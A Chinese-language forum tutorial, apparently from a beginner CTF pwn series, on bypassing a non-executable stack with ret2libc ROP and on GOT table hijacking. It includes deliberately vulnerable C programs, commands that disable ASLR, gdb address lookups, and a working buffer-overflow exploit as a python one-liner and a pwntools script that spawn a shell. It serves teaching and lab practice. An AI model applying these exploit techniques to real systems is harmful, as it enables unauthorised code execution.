首页
社区
课程
招聘
[原创]从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持
发表于: 2020-11-24 14:51 14336

[原创]从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持

2020-11-24 14:51
14336

作者:dxbaicai

为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。

在实验环境创建.c源代码文件,使用如下命令进行编译,注意相比之前编译时去掉了-z execstack

知识点-编译参数说明

对,还是上一篇中的代码。

回想一下上一节,我们是通过利用栈溢出漏洞,将一段自行构造的shellcode放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。我们看到程序引用了libc库的函数(两句include语句),libc库中显然包含有system函数,那么我们将可以把函数返回的地址指向libc中的system地址,从而跳转到库函数去执行。这种使用函数返回地址(ret指令)连接代码的技术,就叫做ROP(Return-Oriented Programming,返回导向编程)。

根据第二节中介绍的函数调用栈知识,我们构造如下的栈结构:

ROP栈结构

注意ROP部分的三句话,从而实现在main函数返回时执行:

因为我们的目的是getshell,所以执行system即可,返回地址可以随意填写。

根据上面的分析,我们需要如下计算步骤:

思路明确,我们现在开始来逐步调试。前面3步的过程与第三节相同,这里就不再重复,现在我们来调试libc中地址获取。

函数地址

得到system的地址为:0xf7e145f0,"/bin/sh"字符的地址为:0xf7f58406。于是我们构造payload为:
"a" * 140 + "0xf7e145f0" + "\1\1\1\1" + "0xf7f58406"

得到shell:

ROP_getshell

知识点1
.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。
.got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。
知识点2
GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。

GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。

GOT_check

选自长亭科技相关分享,因为是一个特别典型和简单的got_hacking,非常适合入门,所以这里用它来做说明

attack_4_3

# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o [可执行文件名] [源文件名]
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o [可执行文件名] [源文件名]
#include <stdio.h>
#include <string.h>
 
int main(int argc, char* argv[]) {
    char buf[128];
    if (argc < 2) return 1;
    strcpy(buf, argv[1]);
    printf("Input:%s\n", buf);
    return 0;
}
#include <stdio.h>
#include <string.h>
 
int main(int argc, char* argv[]) {
    char buf[128];
    if (argc < 2) return 1;
    strcpy(buf, argv[1]);
    printf("Input:%s\n", buf);
    return 0;
}
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c
gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c
 
 
system("/bin/sh");
return xxx;
system("/bin/sh");
return xxx;
# 开始调试
gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ starti
# 运行
gdb-peda$ r
# 查询关键system
gdb-peda$ print system
# 查询/bin/sh
gdb-peda$ find "/bin/sh"
# 开始调试
gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ starti
# 运行
gdb-peda$ r
# 查询关键system
gdb-peda$ print system
# 查询/bin/sh
gdb-peda$ find "/bin/sh"
 
# 执行
./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"')
# 执行
./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"')
 
# coding:utf-8
from pwn import *
 
context(arch='amd64', os='linux')
 
# 注意系统重启后地址可能会发生变化,需要重新获取
system_addr = 0xf7e145f0
binsh_addr = 0xf7f58406
 
payload = "A" * 140 + p32(system_addr) + "\1\1\1\1" + p32(binsh_addr)
p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload])
 
p.interactive()
# coding:utf-8
from pwn import *
 
context(arch='amd64', os='linux')
 
# 注意系统重启后地址可能会发生变化,需要重新获取
system_addr = 0xf7e145f0
binsh_addr = 0xf7f58406
 
payload = "A" * 140 + p32(system_addr) + "\1\1\1\1" + p32(binsh_addr)
p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload])
 
p.interactive()
readelf -S [program]
readelf -S [program]
objdump -R got_hacking_32-gcc4.8
objdump -R got_hacking_32-gcc4.8
hex(elf.got["printf"])获取printf在GOT表的地址
hex(elf.got["printf"])获取printf在GOT表的地址
#include <stdio.h>
#include <stdlib.h>
void win() {
    puts("You Win!");
}
void main() {
    unsigned int addr, value;
    scanf("%x=%x", &addr, &value);
    *(unsigned int *)addr = value;
    printf("set %x=%x\n", addr, value);
}
#include <stdio.h>
#include <stdlib.h>
void win() {
    puts("You Win!");
}
void main() {
    unsigned int addr, value;
    scanf("%x=%x", &addr, &value);
    *(unsigned int *)addr = value;
    printf("set %x=%x\n", addr, value);
}
gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c
gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c
# 读取办法1:gdb中打印
gdb-peda$ p win
# 外部读取
objdump -d got_hacking_32-gcc4.8|grep win
# 读取办法1:gdb中打印

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-2-7 09:34 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 15191
活跃值: (16857)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
感谢分享 希望系列能出完啊
2020-11-25 08:57
0
雪    币: 2886
活跃值: (599)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
有毒 感谢分享 希望系列能出完啊
主要我比较菜,都是一边自学一边总结,加上PWN确实真的难。还得多向各位大佬学习
2020-11-25 13:08
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
我感觉payload里不要加=。直接输入addr和value就行了
2020-12-10 13:45
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
addr处可以任意写内容。danaddr的地址还是不可控。不过好像没什么关系,大佬。
2020-12-10 13:47
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
ROP绕过攻击的时候只能gdb成功,正常运行就会段错误……是不是和上一篇一样的问题?正常地址不同于gdb地址啊。
2022-3-9 11:53
0
游客
登录 | 注册 方可回帖
返回
//